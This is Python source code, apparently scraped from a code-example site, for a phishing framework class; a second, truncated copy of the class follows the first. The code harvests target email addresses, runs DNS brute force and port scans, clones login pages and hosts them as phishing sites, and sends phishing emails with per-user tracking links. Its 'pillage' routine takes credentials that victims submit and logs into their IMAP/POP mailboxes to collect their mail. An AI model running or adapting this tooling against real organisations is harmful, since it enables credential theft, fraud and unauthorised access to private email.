        cmd = [os.getcwd() + "/report.py", self.outdir]
        self.display.output("Report file located at %s%s" % (self.outdir + "reports/", subprocess.check_output(cmd)))

    #----------------------------
    # Parse CommandLine Parms
    #----------------------------
    def parse_parameters(self, argv):
        parser = argparse.ArgumentParser()

        #==================================================
        # Input Files
        #==================================================
        filesgroup = parser.add_argument_group('input files')
        filesgroup.add_argument("-f",
                            metavar="<list.txt>",
                            dest="email_list_file",
                            action='store',
                            help="file containing list of email addresses")
        filesgroup.add_argument("-C",
                            metavar="<config.txt>",
                            dest="config_file",
                            action='store',
                            help="config file")

        #==================================================
        # Enable Flags
        #==================================================
        enablegroup = parser.add_argument_group('enable flags')
        enablegroup.add_argument("--all",
                            dest="enable_all",
                            action='store_true',
                            help="enable ALL flags... same as (-g --external -s -w -v -v -y)")
        enablegroup.add_argument("--test",
                            dest="enable_test",
                            action='store_true',
                            help="enable all flags EXCEPT sending of emails... same as (-g --external --simulate -w -y -v -v)")
        enablegroup.add_argument("--recon",
                            dest="enable_recon",
                            action='store_true',
                            help="gather info (i.e. email addresses, dns hosts, websites, etc...) same as (-e --dns)")
        enablegroup.add_argument("--external",
                            dest="enable_external",
                            action='store_true',
                            help="enable external tool utilization")
        enablegroup.add_argument("--dns",
                            dest="enable_gather_dns",
                            action='store_true',
                            help="enable automated gathering of dns hosts")
        enablegroup.add_argument("-g",
                            dest="enable_gather_email",
                            action='store_true',
                            help="enable automated gathering of email targets")
        enablegroup.add_argument("-s",
                            dest="enable_send_email",
                            action='store_true',
                            help="enable automated sending of phishing emails to targets")
        enablegroup.add_argument("--simulate",
                            dest="simulate_send_email",
                            action='store_true',
                            help="simulate the sending of phishing emails to targets")
        enablegroup.add_argument("-w",
                            dest="enable_web",
                            action='store_true',
                            help="enable generation of phishing web sites")
        enablegroup.add_argument("-W",
                            dest="daemon_web",
                            action='store_true',
                            help="leave web server running after termination of spf.py")

        #==================================================
        # Advanced Flags
        #==================================================
        advgroup = parser.add_argument_group('ADVANCED')
        advgroup.add_argument("--adv",
                            dest="enable_advanced",
                            action='store_true',
                            help="perform all ADVANCED features same as (--dns --profile --pillage)")
        advgroup.add_argument("--profile",
                            dest="profile_domain",
                            action='store_true',
                            help="profile the target domain (requires the --dns flag)")
        advgroup.add_argument("--pillage",
                            dest="pillage_email",
                            action='store_true',
                            help="auto pillage email accounts (requires the --dns flag)")

        #==================================================
        # Optional Args
        #==================================================
        parser.add_argument("-d",
                            metavar="<domain>",
                            dest="domain",
                            action='store',
                            help="domain name to phish")
        parser.add_argument("-p",
                            metavar="<domain>",
                            dest="phishdomain",
                            default="example.com",
                            action='store',
                            help="newly registered 'phish' domain name")
        parser.add_argument("-c",
                            metavar="<company's name>",
                            dest="company",
                            action='store',
                            help="name of company to phish")
        parser.add_argument("--ip",
                            metavar="<IP address>",
                            dest="ip",
                            #default=Utils.getIP(),
                            action='store',
                            help="IP of webserver defaults to [%s]" % (Utils.getIP()))
        parser.add_argument("-v", "--verbosity",
                            dest="verbose",
                            action='count',
                            help="increase output verbosity")

        #==================================================
        # Misc Flags
        #==================================================
        miscgroup = parser.add_argument_group('misc')
        miscgroup.add_argument("-y",
                            dest="always_yes",
                            action='store_true',
                            help="automatically answer yes to all questions")

        # parse args
        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["domain_name"] = args.domain
        if (self.config["domain_name"] is None):
            self.config["domain_name"] = ""
        self.config["phishing_domain"] = args.phishdomain
        if (self.config["phishing_domain"] is None):
            self.config["phishing_domain"] = "example.com"
        self.config["company_name"] = args.company
        if (args.ip):
            self.config["ip"] = args.ip
        self.config["config_filename"] = args.config_file
        self.config["email_list_filename"] = args.email_list_file
        self.config["verbose"] = args.verbose
        self.config["gather_emails"] = args.enable_gather_email
        self.config["gather_dns"] = args.enable_gather_dns
        self.config["profile_domain"] = args.profile_domain
        self.config["pillage_email"] = args.pillage_email
        self.config["enable_externals"] = args.enable_external
        self.config["enable_web"] = args.enable_web
        self.config["enable_email_sending"] = args.enable_send_email
        self.config["simulate_email_sending"] = args.simulate_send_email
        self.config["daemon_web"] = args.daemon_web
        self.config["always_yes"] = args.always_yes

        # process meta flags
        
        # recon = gather emails and gather dns
        if (args.enable_recon == True):
            self.config["gather_emails"] =  True
            self.config["gather_dns"] = True

        # all = gather emails, enable externals, etc...
        if (args.enable_all == True):
            self.config["gather_emails"] =  True
            self.config["enable_externals"] = True
            self.config["enable_web"] = True
            self.config["enable_email_sending"] = True
            self.config["verbose"] = 2
            self.config["always_yes"] = True

        # test = gather emails, enable externals, etc...
        if (args.enable_test == True):
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["simulate_email_sending"] = True
            self.config["enable_web"] = True
            self.config["always_yes"] = True
            self.config["verbose"] = 2

        # advanced = dns, profile, and pillage
        if (args.enable_advanced == True):
            self.config["gather_dns"] = True
            self.config["profile_domain"] = True
            self.config["pillage_email"] = True

        # profile requires dns
        if (self.config["profile_domain"] and not self.config["gather_dns"]):
            self.config["profile_domain"] = False
            self.display.error("--profile requires the --dns option to be enabled as well.")

        # pillage requires dns
        if (self.config["pillage_email"] and not self.config["gather_dns"]):
            self.config["pillage_email"] = False
            self.display.error("--pillage requires the --dns option to be enabled as well.")

        # see if we are good to go
        good = False
        if (self.config["email_list_filename"]
                or self.config["gather_emails"]
                or self.config["enable_externals"]
                or self.config["enable_web"]
                or self.config["enable_email_sending"]
                or self.config["simulate_email_sending"]
                or self.config["gather_dns"]
                or self.config["profile_domain"]
                or self.config["pillage_email"]):
            good = True
        if (not good):
            self.display.error("Please enable at least one of the following parameters: -g --external --dns -s --simulate -w ( --all --test --recon --adv )")
            print
            parser.print_help()
            sys.exit(1)

    #----------------------------
    # Process/Load config file
    #----------------------------
    def load_config(self):
        # does config file exist?
        if (self.config["config_filename"] is not None):
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            # guess not..   so try to load the default one
            if Utils.is_readable("default.cfg"):
                self.display.error("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                # someone must have removed it!
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit(1)

        # set verbosity/debug level
        if (self.config['verbose'] >= 1):
            self.display.enableVerbose()
        if (self.config['verbose'] > 1):
            self.display.enableDebug()

        if (self.config["ip"] == "0.0.0.0") or (self.config["ip"] == None):
            self.config["ip"]=Utils.getIP()

        # set logging path
        self.outdir = os.getcwd() + "/" + self.config["domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.outdir)):
            os.makedirs(os.path.dirname(self.outdir))
        self.display.setLogPath(self.outdir + "logs/")

        # create sqllite db
        self.db = MyDB(sqlite_file=self.outdir)

        # log it
        self.display.log("STARTTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]), filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" % (self.config["phishing_domain"]), filename="INFO.txt")

    #----------------------------
    # Load/Gather target email addresses
    #----------------------------
    def prep_email(self):
        # are required flags set?
        if ((self.config["email_list_filename"] is not None) or (self.config["gather_emails"] == True)):
            print
            self.display.output("Obtaining list of email targets")
            if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                # if an external email list file was specified, read it in
                if self.config["email_list_filename"] is not None:
                    file = open(self.config["email_list_filename"], 'r')
                    temp_list = file.read().splitlines()
                    self.display.verbose("Loaded [%s] email addresses from [%s]" % (len(temp_list), self.config["email_list_filename"]))
                    self.email_list += temp_list

                # gather email addresses
                if self.config["gather_emails"] == True:
                    if (self.config["domain_name"] == ""):
                        self.display.error("No target domain specified.  Can not gather email addresses.")
                    else:
                        self.display.verbose("Gathering emails via built-in methods")
                        self.display.verbose(Gather.get_sources())
                        if (not self.gather):
                            self.gather = Gather(self.config["domain_name"], display=self.display)
                        temp_list = self.gather.emails()
                        self.display.verbose("Gathered [%s] email addresses from the Internet" % (len(temp_list)))
                        self.email_list += temp_list
                        print

                        # gather email addresses from external sources
                        if (self.config["gather_emails"] == True) and (self.config["enable_externals"] == True):
                            # theHarvester
                            self.display.verbose("Gathering emails via theHarvester")
                            thr = theHarvester(self.config["domain_name"], self.config["theharvester_path"], display=self.display)
                            out = thr.run()
                            if (not out):
                                temp_list = thr.emails()
                                self.display.verbose("Gathered [%s] email addresses from theHarvester" % (len(temp_list)))
                                self.email_list += temp_list
                            else:
                                self.display.error(out)
                            print

    #                        # Recon-NG
    #                        self.display.verbose("Gathering emails via Recon-NG")
    #                        temp_list = reconng(self.config["domain_name"], self.config["reconng_path"]).gather()
    #                        self.display.verbose("Gathered [%s] email addresses from Recon-NG" % (len(temp_list)))
    #                        self.email_list += temp_list

                # sort/unique email list
                self.email_list = Utils.unique_list(self.email_list)
                self.email_list.sort()

                # add each user to the sqllite db
                self.db.addUsers(self.email_list)

                # print list of email addresses
                self.display.verbose("Collected [%s] unique email addresses" % (len(self.email_list)))
                self.display.print_list("EMAIL LIST",self.email_list)
                for email in self.email_list:
                    self.display.log(email + "\n", filename="email_targets.txt")

    #----------------------------
    # Gather dns hosts
    #----------------------------
    def gather_dns(self):
        # are required flags set?
        if (self.config["gather_dns"] == True):
            print
            self.display.output("Obtaining list of host on the %s domain" % (self.config["domain_name"]))
            self.display.verbose("Gathering hosts via built-in methods")

            # Gather hosts from internet search
            self.display.verbose(Gather.get_sources())
            if (not self.gather):
                self.gather = Gather(self.config["domain_name"], display=self.display)
            temp_list = self.gather.hosts()
            self.display.verbose("Gathered [%s] hosts from the Internet Search" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from DNS lookups
            temp_list = Dns.xfr(self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS Zone Transfer" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.ns(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS NS lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.mx(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS MX lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from dictionary lookup
            try:
                temp_list = Dns.brute(self.config["domain_name"], display=self.display)
            except:
                pass
            self.display.verbose("Gathered [%s] hosts from DNS BruteForce/Dictionay Lookup" % (len(temp_list)))
            self.hostname_list += temp_list

            # sort/unique hostname list
            self.hostname_list = Utils.unique_list(self.hostname_list)
            self.hostname_list.sort()

            # add list of identified hosts to sqllite db
            self.db.addHosts(self.hostname_list)

            # print list of hostnames
            self.display.verbose("Collected [%s] unique host names" % (len(self.hostname_list)))
            self.display.print_list("HOST LIST", self.hostname_list)

    #----------------------------
    # Perform Port Scans
    #----------------------------
    def port_scan(self):
        # are required flags set?
        if (self.config["gather_dns"] == True):
            self.display.output("Performing basic port scans of any identified hosts.")

            # define list of ports to scan for
            ports = [25, 80,110, 143, 443, 993, 995]
 
            # prep array of arrays
            for port in ports:
                self.server_list[port] = []

            # for each host in the host list
            for host in self.hostname_list:
                # run port scan
                openports = portscan.scan(host, ports)
                found = False
                
                # for any open ports, add it to the associated list
                for port in openports:
                    self.db.addPort(port, host)
                    if (port == 80):
                        self.display.verbose("Found website at: %s 80" % (host))
                        self.server_list[80].append(host)
                        found = True
                    elif (port == 443):
                        self.display.verbose("Found website at: %s 443" % (host))
                        self.server_list[443].append(host)
                        found = True
                    elif (port == 110):
                        self.display.verbose("Found POP at    : %s 110" % (host))
                        self.server_list[110].append(host)
                        found = True
                    elif (port == 995):
                        self.display.verbose("Found POPS at   : %s 995" % (host))
                        self.server_list[995].append(host)
                        found = True
                    elif (port == 143):
                        self.display.verbose("Found IMAP at   : %s 143" % (host))
                        self.server_list[143].append(host)
                        found = True
                    elif (port == 993):
                        self.display.verbose("Found IMAPS at  : %s 993" % (host))
                        self.server_list[993].append(host)
                        found = True
                    elif (port == 25):
                        self.display.verbose("Found SMTP at   : %s 25" % (host))
                        self.server_list[25].append(host)
                        found = True
                    if (found):
                        self.display.log(host + "\n", filename="hosts.txt")

    #----------------------------
    # Profile Web Sites
    #----------------------------
    def profile_site(self):
        # are required flags set?
        if (self.config["profile_domain"] == True):
            self.display.output("Determining if any of the identified hosts have web servers.")

            # for hosts in the port 80 list
            for host in self.server_list[80]:
                # create a profiler object
                p = profiler()
                # run it against the website
                profile_results = p.run("http://" + host, debug=False)
                # if we got valid results, look to see if we have a match for one of the templates
                if (profile_results and (len(profile_results) > 0)):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if (value.getscore() > max_value):
                            max_key = key
                            max_value = value.getscore()
                    if (max_value > 0):
                        self.display.verbose("POSSIBLE MATCH FOR [http://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    # other wise we will see about adding it to a list of sites to clone
                    if (p.hasLogin("http://" + host)):
                        self.profile_dynamic_web_templates.append("http://" + host)

            # repeat same as for port 80
            for host in self.server_list[443]:
                p = profiler()
                profile_results = p.run("https://" + host, debug=False)
                if (profile_results and (len(profile_results) > 0)):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if (value.getscore() > max_value):
                            max_key = key
                            max_value = value.getscore()
                    if (max_value > 0):
                        self.display.verbose("POSSIBLE MATCH FOR [https://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if (p.hasLogin("https://" + host)):
                        self.display.verbose("POSSIBLE DYNAMIC TEMPLATE SITE [https://%s]" % (host))
                        self.profile_dynamic_web_templates.append("https://" + host)

            # sort/unique list of valid templates
            self.profile_valid_web_templates = Utils.unique_list(self.profile_valid_web_templates)
            self.profile_valid_web_templates.sort()
            # print list of valid templatess
            self.display.verbose("Collected [%s] valid web templates" % (len(self.profile_valid_web_templates)))
            self.display.print_list("VALID TEMPLATE LIST",self.profile_valid_web_templates)

            # sort/unique list of dynamic templates
            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # print list of valid templatess
            self.display.verbose("Collected [%s] dynamic web templates" % (len(self.profile_dynamic_web_templates)))
            self.display.print_list("DYNAMIC TEMPLATE LIST",self.profile_dynamic_web_templates)

            # sort/unique hostname list
            self.profile_dynamic_web_templates = Utils.lowercase_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # for any dynamic sites, try to clone them
            self.display.output("Cloning any DYNAMIC sites")
            for template in self.profile_dynamic_web_templates:
                sc = SiteCloner(clone_dir=self.outdir+"web_clones/")
                tdir = sc.cloneUrl(template)
                self.display.verbose("Cloning [%s] to [%s]" % (template, tdir))
                self.db.addWebTemplate(ttype="dynamic", src_url=template, tdir=tdir)

            # loop over all built in templates
            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                for line in open(template_file).readlines():
                    for tem in self.profile_valid_web_templates:
                        if re.match("^VHOST=\s*"+tem+"\s*$", line, re.IGNORECASE):
                            self.db.addWebTemplate(ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f))
                            break

    #----------------------------
    # Select Web Templates
    #----------------------------
    def select_web_templates(self):
        templates = []

        # get lists of current templates
        db_static_templates = self.db.getWebTemplates(ttype="static")
        db_dynamic_templates = self.db.getWebTemplates(ttype="dynamic")
        
        # check to see if we have templates
        if (db_static_templates or db_dynamic_templates):
            for template in db_static_templates:
                parts = template.split("[-]")
                template_file = parts[0] + "/CONFIG"
                if Utils.is_readable(template_file) and os.path.isfile(template_file):
                    templates.append(("static", parts[0], parts[1]))
            for template in db_dynamic_templates:
                parts = template.split("[-]")
                template_file = parts[0] + "/CONFIG"
                if Utils.is_readable(template_file) and os.path.isfile(template_file):
                    templates.append(("dynamic", parts[0], parts[1]))
        else:
            # assume we do not have any valid templates
            # load all standard templates
            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                if Utils.is_readable(template_file) and os.path.isfile(template_file):
                    templates.append(("static", os.path.join(self.config["web_template_path"], f), ""))
                    print "FIXED = [%s]" % (os.path.join(self.config["web_template_path"], f))

        # if "always yes" is enabled then just use all templates
        if (not self.config["always_yes"]):
            items = self.display.selectlist("Please select (comma seperated) the item(s) you wish to use. (prese ENTER to use all): ", templates)
            size_of_templates = len(templates)
            if items and (len(items) > 0):
                templates_temp = []
                self.db.clearWebTemplates()
                for item in items:
                    if (int(item) > 0) and (int(item) <= size_of_templates):
                        self.display.verbose("Enabled Template: " + str(templates[int(item)-1]))
                        templates_temp.append(templates[int(item)-1])
                        self.db.addWebTemplate(ttype=templates[int(item)-1][0], src_url=templates[int(item)-1][2], tdir=templates[int(item)-1][1])
                    else:
                        self.display.alert("Invalid select of [" + item + "] was ignored")
                templates = templates_temp

        # print list of enabled templates
        self.display.print_list("TEMPLATE LIST", templates)
        
    #----------------------------
    # Load web sites
    #----------------------------
    def load_websites(self):
        # a required flags set?
        if self.config["enable_web"] == True:
            self.select_web_templates()
            print
            self.display.output("Starting phishing webserver")
            if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                path = os.path.dirname(os.path.realpath(__file__))
                # Start process
                cmd = [path + "/../web.py", Utils.compressDict(self.config)]
                self.webserver = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE)

                # monitor output to gather website information
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if line == 'Websites loaded and launched.':
                        break
                    if line != '':
                        self.display.verbose(line)
                        match=re.search("Started website", line)
                        VHOST = ""
                        PORT = ""
                        if match:
                            parts=line.split("[")
                            VHOST=parts[1].split("]")
                            VHOST=VHOST[0].strip()
                            PORT=parts[2].split("]")
                            PORT=PORT[0].strip()
                            PORT=PORT[7:]
                            # keep the URL clean
                            # if port is 80, then it does not need to be included in the URL
                            if (PORT[-3:] == ":80"):
                                PORT = PORT[:-3]

                            self.config[VHOST + "_port"] = PORT
                            self.config[VHOST + "_vhost"] = VHOST
                            Utils.screenCaptureWebSite("http://" + PORT,
                                self.outdir + "screenshots/" + PORT + "_" + VHOST + ".png")
                            Utils.screenCaptureWebSite("http://" + VHOST + "." + self.config["phishing_domain"],
                                self.outdir + "screenshots/" + VHOST + "." + self.config["phishing_domain"] + ".png")

                # Write PID file
                pidfilename = os.path.join(self.pid_path, "spfwebsrv.pid")
                pidfile = open(pidfilename, 'w')
                pidfile.write(str(self.webserver.pid))
                pidfile.close()
                self.webserverpid = self.webserver.pid
                self.display.verbose("Started WebServer with pid = [%s]" % self.webserver.pid)

    #----------------------------
    # Build array of email templates
    #----------------------------
    def load_email_templates(self):
        # do we even have targets?
        if (((self.email_list is not None)
            and (self.email_list))
                and ((self.config["enable_email_sending"] == True)
                    or (self.config["simulate_email_sending"] == True))):
            print
            self.display.verbose("Locating phishing email templates")
            if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                # loop over each email template
                for f in os.listdir("templates/email/"):
                    template_file = os.path.join("templates/email/", f)
                    self.display.debug("Found the following email template: [%s]" % template_file)

                    if ((Utils.is_readable(template_file)) and (os.path.isfile(template_file))):
                        # read in the template SUBJECT, TYPE, and BODY
                        TYPE = ""
                        SUBJECT = ""
                        BODY = ""
                        with open (template_file, "r") as myfile:
                            for line in myfile.readlines():
                                match=re.search("TYPE=", line)
                                if match:
                                    TYPE=line.replace('"', "")
                                    TYPE=TYPE.split("=")
                                    TYPE=TYPE[1].lower().strip()
                                match2=re.search("SUBJECT=", line)
                                if match2:
                                    SUBJECT=line.replace('"', "")
                                    SUBJECT=SUBJECT.split("=")
                                    SUBJECT=SUBJECT[1].strip()
                                match3=re.search("BODY=", line)
                                if match3:
                                    BODY=line.replace('"', "")
                                    BODY=BODY.replace(r'\n', "\n")
                                    BODY=BODY.split("=")
                                    BODY=BODY[1].strip()

                        if (TYPE + "_port" in self.config.keys()):
                            self.email_templates[TYPE].append(EmailTemplate(TYPE, SUBJECT, BODY))
                        else:
                            self.display.debug("     No Matching webtemplate found.  Skipping this email template.")

    #----------------------------
    # Generate/Send phishing emails
    #----------------------------
    def send_emails(self):
        # are required flags set?
        if ((self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True)):
            if ((self.config["determine_smtp"] == "1") and (self.config["use_specific_smtp"] == "1")):
               self.display.error("ONLY 1 of DETERMINE_SMTP or USE_SPECIFIC_SMTP can be enabled at a time.")
            else:
                print
                self.display.output("Sending phishing emails")
                if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                    templates_logged = []
                    #do we have any emails top send?
                    if self.email_list:
                        temp_target_list = self.email_list
                        temp_delay = 1
                        if (self.config["email_delay"] is not None):
                            temp_delay = int(self.config["email_delay"])
                        send_count = 0
                        # while there are still target email address, loop
                        while (temp_target_list and (send_count < (int(self.config["emails_max"])))):
                            # inc number of emails we have attempted to send
                            send_count = send_count + 1
                            # delay requested amount of time between sending emails
                            time.sleep(temp_delay)
                            # for each type of email (citrix, owa, office365, ...)
                            for key in self.email_templates:
                                if (key+"_port" in self.config.keys()):
                                    # double check
                                    if temp_target_list:
                                        # for each email template of the given type
                                        for template in self.email_templates[key]:
                                            # double check
                                            if temp_target_list:
                                                # grab a new target email address
                                                target = temp_target_list.pop(0)
                                                self.display.verbose("Sending Email to [%s]" % target)
                                                #FROM = "support@" + self.config["phishing_domain"]
                                                FROM = self.config["smtp_fromaddr"]
    
                                                SUBJECT = template.getSUBJECT()
                                                BODY = template.getBODY()
    
                                                # perform necessary SEARCH/REPLACE 
                                                if self.config["enable_host_based_vhosts"] == "1":
                                                    targetlink="http://" + key + "." + self.config["phishing_domain"]
                                                    if self.config["enable_user_tracking"] == "1":
                                                        targetlink += "?u=" + self.db.getUserTrackId(target)
                                                    BODY=BODY.replace(r'[[TARGET]]', targetlink)
                                                else:
                                                    if (not key == "dynamic"):
                                                        print key
                                                        targetlink="http://" + self.config[key+ "_port"]
                                                        if self.config["enable_user_tracking"] == "1":
                                                            targetlink += "?u=" + self.db.getUserTrackId(target)
                                                        BODY=BODY.replace(r'[[TARGET]]', targetlink)
    
                                                # log
                                                if (key not in templates_logged):
                                                    self.display.log("----------------------------------------------\n\n" +
                                                                     "TO: <XXXXX>\n" +
                                                                     "FROM: " + FROM + "\n" +
                                                                     "SUBJECT: " + SUBJECT + "\n\n" +
                                                                     BODY + "\n\n" + 
                                                                     "----------------------------------------------\n\n" +
                                                                     "TARGETS:\n" +
                                                                     "--------\n",
                                                                     filename="email_template_" + key + ".txt")
                                                    templates_logged.append(key)
                                                self.display.log(target + "\n", filename="email_template_" + key + ".txt")
    
                                                # send the email
                                                if (self.config["simulate_email_sending"] == True):
                                                    self.display.output("Would have sent an email to [%s] with subject of [%s], but this was just a test." % (target, SUBJECT))
                                                else:
                                                    try:
                                                        if self.config["determine_smtp"] == "1":
                                                            emails.send_email_direct(target,
                                                                    FROM,
                                                                    self.config["smtp_displayname"],
                                                                    SUBJECT,
                                                                    BODY,
                                                                    self.config["attachment_filename"],
                                                                    self.config["attachment_fullpath"],
                                                                    True)
                                                        if self.config["use_specific_smtp"] == "1":
                                                            print self.config["smtp_fromaddr"]
                                                            emails.send_email_account(self.config["smtp_server"],
                                                                    int(self.config["smtp_port"]),
                                                                    self.config["smtp_user"],
                                                                    self.config["smtp_pass"],
                                                                    target,
                                                                    self.config["smtp_fromaddr"],
                                                                    self.config["smtp_displayname"],
                                                                    SUBJECT,
                                                                    BODY,
                                                                    self.config["attachment_filename"],
                                                                    self.config["attachment_fullpath"],
                                                                    True)
                                                    except Exception as e:
                                                        self.display.error("Can not send email to " + target)
                                                        print e


    #----------------------------
    # Monitor web sites
    #----------------------------
    def monitor_results(self):
        # are required flags set?
        if self.config["enable_web"] == True:
            print
            self.display.output("Monitoring phishing website activity!")
            self.display.alert("(Press CTRL-C to stop collection and generate report!)")
            if (self.webserver):
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if (self.config["pillage_email"]):
                        self.pillage(line)
                    self.display.output(line)

    #==================================================
    # Secondary METHODS
    #==================================================

    #----------------------------
    # Pillage Emails
    #----------------------------
    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if (usermatch):
            username = usermatch.group(1)
        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if (passmatch):
            password = passmatch.group(1)

        # if no username or password, then return
        if ((not username) or (not password)):
            return

        # is it a new username/password pair we have not seen before?
        if (not username+":"+password in self.pillaged_users):
            self.pillaged_users.append(username+":"+password)

            # make a new MailPillager if one does not exist
            if (not self.mp):
                self.mp = MailPillager()

            # attempt to determine the best Mail Server to use
            if (not self.bestMailServer):
                self.determineBestMailServer()

            # if no Best Mail Server was identified, return
            if (not self.bestMailServer):
                self.display.error("No valid target IMAP/POP3 mail servers were identified.")
                return

            #print self.bestMailServer + ":" + str(self.bestMailServerPort)

            # PILLAGE!!!
            self.mp.pillage(username=username, password=password, server=self.bestMailServer,
                    port=self.bestMailServerPort, domain=self.config["domain_name"], outputdir=self.outdir + "pillage_data/")

    #----------------------------
    # See which Mail Server we should use
    #
    # TODO: needs to be updated!!!
    #----------------------------
    def determineBestMailServer(self):
        if self.server_list[993]: # IMAPS
            self.bestMailServerPort = 993
            self.bestMailServer = self.server_list[993][0]
        elif self.server_list[143]: #IMAP
            self.bestMailServerPort = 143
            self.bestMailServer = self.server_list[143][0]
        elif self.server_list[995]: # POP3S
            self.bestMailServerPort = 995
            self.bestMailServer = self.server_list[995][0]
        elif self.server_list[110]: # POP3
            self.bestMailServerPort = 110
            self.bestMailServer = self.server_list[110][0]

    #==========================================================================================
    #==========================================================================================
    #==========================================================================================

    #----------------------------
    # Primary METHOD
    #----------------------------
    def run(self, argv):
        # load config
        self.parse_parameters(argv)
        self.load_config()
       
        # make directories
        if not os.path.isdir(self.outdir + "reports/"):
            os.makedirs(self.outdir + "reports/")
        if not os.path.isdir(self.outdir + "logs/"):
            os.makedirs(self.outdir + "logs/")
        if not os.path.isdir(self.outdir + "screenshots/"):
            os.makedirs(self.outdir + "screenshots/")
        if not os.path.isdir(self.outdir + "web_clones/"):
            os.makedirs(self.outdir + "web_clones/")
        if not os.path.isdir(self.outdir + "pillage_data/"):
            os.makedirs(self.outdir + "pillage_data/")

        # dns/portscan/cloning
        self.gather_dns()
        self.port_scan()
        self.profile_site()

        # load websites 
        self.load_websites()

        # do email stuff
        self.prep_email()
        self.load_email_templates()
        self.send_emails()

        # sit back and listen
        self.monitor_results()
Exemple #6
0
class Framework(object):
    def __init__(self):
        self.config = {
        }  # dict to contain combined list of config file options and commandline parameters
        self.email_list = []  # list of email targets
        self.hostname_list = []  # list of dns hosts
        self.server_list = {}
        self.profile_valid_web_templates = []
        self.profile_dynamic_web_templates = []
        self.pillaged_users = []
        self.bestMailServerPort = None
        self.bestMailServer = None
        self.webserver = None  # web server process
        self.webserverpid = None
        self.gather = None
        self.mp = None  # mail pillager

        # initialize some config options
        self.config["domain_name"] = ""
        self.config["phishing_domain"] = ""
        self.config["company_name"] = ""
        self.config["config_filename"] = ""
        self.config["email_list_filename"] = ""

        # default all bool values to False
        self.config["verbose"] = False
        self.config["gather_emails"] = False
        self.config["gather_dns"] = False
        self.config["enable_externals"] = False
        self.config["enable_web"] = False
        self.config["enable_email"] = False
        self.config["enable_email_sending"] = False
        self.config["simulate_email_sending"] = False
        self.config["daemon_web"] = False
        self.config["always_yes"] = False
        self.config["enable_advanced"] = False
        self.config["profile_domain"] = False
        self.config["pillage_email"] = False

        # get current IP
        self.config['ip'] = Utils.getIP()

        # set a few misc values
        self.pid_path = os.path.dirname(os.path.realpath(__file__)) + "/../"
        self.display = Display()
        self.email_templates = defaultdict(list)

    #==================================================
    # SUPPORT METHODS
    #==================================================

    def ctrlc(self):
        print
        self.display.alert("Ctrl-C caught!!!")
        self.cleanup()

    def cleanup(self):
        print
        if (self.webserver is not None):
            if (self.config["daemon_web"]):
                self.display.alert("Webserver is still running as requested.")
            else:
                # send SIGTERM to the web process
                self.display.output("stopping the webserver")
                self.webserver.send_signal(signal.SIGINT)
                # delete the pid file
                os.remove(self.pid_path + "spfwebsrv.pid")
                # as a double check, manually kill the process
                self.killProcess(self.webserverpid)
        # call report generation
        self.generateReport()
        # exit
        sys.exit(0)

    def killProcess(self, pid):
        if (os.path.exists("/proc/" + str(pid))):
            self.display.alert("Killing process [%s]" % (pid))
            os.kill(pid, signal.SIGKILL)
            if (os.path.isfile(self.pid_path + "spfwebsrv.pid")):
                os.remove(self.pid_path + "spfwebsrv.pid")

    def generateReport(self):
        self.display.output("Generating phishing report")
        self.display.log("ENDTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")),
                         filename="INFO.txt")

        path = os.path.dirname(os.path.realpath(__file__))
        # Start process
        cmd = [path + "/../report.py", self.logpath]
        self.display.output("Report file located at %s%s" %
                            (self.logpath, subprocess.check_output(cmd)))

    def parse_parameters(self, argv):
        parser = argparse.ArgumentParser()

        #==================================================
        # Required Args
        #==================================================
        #        requiredgroup = parser.add_argument_group('required arguments')
        #        requiredgroup.add_argument("-d",
        #                            metavar="<domain>",
        #                            dest="domain",
        #                            action='store',
        #                            required=True,
        #                            help="domain name to phish")

        #==================================================
        # Input Files
        #==================================================
        filesgroup = parser.add_argument_group('input files')
        filesgroup.add_argument(
